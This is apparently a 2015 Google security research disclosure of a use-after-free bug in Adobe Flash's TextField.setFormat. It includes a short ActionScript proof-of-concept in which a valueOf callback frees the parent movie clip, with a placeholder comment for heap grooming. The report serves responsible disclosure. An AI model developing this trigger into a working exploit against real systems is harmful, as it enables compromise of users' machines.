Adobe Flash: Use-after-free in TextField.setFormat

The TextField setFormat method contains a use-after-free. If an integer 
parameter has valueOf defined, or the object parameter overrides a constructor, 
this method can free the TextField parent, which is subsequently used.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
var f = new TextFormat();
tf.setFormat( {valueOf : func}, 2, f);

function func(){

        if(times == 0){
             times++;
             return 0;

         }

    mc.removeMovieClip();

        // Fix heap here

    return 0;

    }

A sample swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 14 Oct 2015 at 11:15

Attachments:

tabIndex.swf
tabIndex.fla

velocitystorm / google-security-research

Adobe Flash: Use-after-free in TextField.setFormat #586